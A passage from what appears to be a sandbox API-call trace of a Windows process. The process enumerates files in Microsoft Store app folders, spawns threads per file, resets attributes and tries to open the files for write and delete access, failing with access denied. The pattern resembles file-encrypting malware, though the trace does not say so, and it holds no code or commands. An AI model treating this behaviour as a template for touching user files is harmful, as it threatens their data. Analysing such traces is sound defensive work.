	[0091.935] wcscmp (_String1="JSByteCodeCache_64", _String2=".") returned 1
	[0091.935] wcscmp (_String1="JSByteCodeCache_64", _String2="..") returned 1
	[0091.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x120) returned 0x2d89108
	[0091.935] wcscpy (in: _Dest=0x2d89108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.935] wcscat (in: _Dest=0x2d89108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.935] wcscat (in: _Dest=0x2d89108, _Source="JSByteCodeCache_64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64"
	[0091.935] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64")) returned 0x2024
	[0091.935] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x20) returned 0
	[0091.935] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.935] GetLastError () returned 0x5
	[0091.935] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x2024) returned 0
	[0091.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0091.935] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5030570 | out: lpFindFileData=0x5030570*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x103c648d, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x8cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 0
	[0091.935] FindClose (in: hFindFile=0x477b228 | out: hFindFile=0x477b228) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030570) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026850) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc560) returned 1
	[0091.936] FindNextFileW (in: hFindFile=0x2d87c78, lpFindFileData=0x475bcb8 | out: lpFindFileData=0x475bcb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0091.936] FindClose (in: hFindFile=0x2d87c78 | out: hFindFile=0x2d87c78) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475bcb8) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751b98) returned 1
	[0091.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89c30) returned 1

Thread:
	id = 598
	os_tid = 0x1884

	[0077.500] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.873] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.874] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.874] GetLastError () returned 0x5
	[0082.874] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9370) returned 1

Thread:
	id = 599
	os_tid = 0x1888

	[0077.501] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0078.757] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0078.757] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0078.757] GetLastError () returned 0x5
	[0078.757] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0078.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e618) returned 1

Thread:
	id = 600
	os_tid = 0x188c

	[0077.501] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0078.810] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0078.810] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0078.810] GetLastError () returned 0x5
	[0078.810] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0078.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9030) returned 1

Thread:
	id = 601
	os_tid = 0x1890

	[0077.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cba58
	[0077.502] wcscpy (in: _Dest=0x47cba58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.502] wcscat (in: _Dest=0x47cba58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.502] wcscat (in: _Dest=0x47cba58, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475bf20
	[0077.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9785683, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad6f8
	[0078.756] wcscmp (_String1=".", _String2=".") returned 0
	[0078.756] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9785683, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.756] wcscmp (_String1="..", _String2=".") returned 1
	[0078.756] wcscmp (_String1="..", _String2="..") returned 0
	[0078.757] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0078.757] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0078.757] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0078.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768370
	[0078.757] wcscpy (in: _Dest=0x4768370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0078.757] wcscat (in: _Dest=0x4768370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0078.757] wcscat (in: _Dest=0x4768370, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0078.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0078.995] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x475bf20 | out: lpFindFileData=0x475bf20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0078.995] FindClose (in: hFindFile=0x2dad6f8 | out: hFindFile=0x2dad6f8) returned 1
	[0078.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475bf20) returned 1
	[0078.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cba58) returned 1
	[0078.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbf08) returned 1

Thread:
	id = 602
	os_tid = 0x1894

	[0077.503] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0078.755] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0078.755] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0078.755] GetLastError () returned 0x5
	[0078.755] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0078.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9440) returned 1

Thread:
	id = 603
	os_tid = 0x1898

	[0077.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c87a0
	[0077.503] wcscpy (in: _Dest=0x47c87a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.503] wcscat (in: _Dest=0x47c87a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0077.503] wcscat (in: _Dest=0x47c87a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0077.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475b580
	[0077.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa97d9a35, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad4b8
	[0078.025] wcscmp (_String1=".", _String2=".") returned 0
	[0078.025] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa97d9a35, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.025] wcscmp (_String1="..", _String2=".") returned 1
	[0078.025] wcscmp (_String1="..", _String2="..") returned 0
	[0078.025] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96e25227, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96e25227, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7046, dwReserved0=0x0, dwReserved1=0x0, cFileName="3mf.ico", cAlternateFileName="")) returned 1
	[0078.025] wcscmp (_String1="3mf.ico", _String2=".") returned 1
	[0078.025] wcscmp (_String1="3mf.ico", _String2="..") returned 1
	[0078.025] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96e25227, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96e25227, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="CameraIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.025] wcscmp (_String1="CameraIcon_contrast-black.png", _String2=".") returned 1
	[0078.025] wcscmp (_String1="CameraIcon_contrast-black.png", _String2="..") returned 1
	[0078.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4751aa0
	[0078.025] wcscpy (in: _Dest=0x4751aa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.025] wcscat (in: _Dest=0x4751aa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.025] wcscat (in: _Dest=0x4751aa0, _Source="CameraIcon_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png"
	[0078.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4751aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8
	[0078.026] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96e25227, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96e25227, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="CameraIcon_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.026] wcscmp (_String1="CameraIcon_contrast-white.png", _String2=".") returned 1
	[0078.026] wcscmp (_String1="CameraIcon_contrast-white.png", _String2="..") returned 1
	[0078.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4751c90
	[0078.026] wcscpy (in: _Dest=0x4751c90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.026] wcscat (in: _Dest=0x4751c90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.026] wcscat (in: _Dest=0x4751c90, _Source="CameraIcon_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png"
	[0078.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4751c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc
	[0078.027] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a3eee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970877d7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1
	[0078.027] wcscmp (_String1="Catalog", _String2=".") returned 1
	[0078.027] wcscmp (_String1="Catalog", _String2="..") returned 1
	[0078.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476c608
	[0078.027] wcscpy (in: _Dest=0x476c608, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.027] wcscat (in: _Dest=0x476c608, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.027] wcscat (in: _Dest=0x476c608, _Source="Catalog" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog"
	[0078.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0
	[0078.028] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contrast", cAlternateFileName="")) returned 1
	[0078.028] wcscmp (_String1="Contrast", _String2=".") returned 1
	[0078.028] wcscmp (_String1="Contrast", _String2="..") returned 1
	[0078.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9df0
	[0078.028] wcscpy (in: _Dest=0x47e9df0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
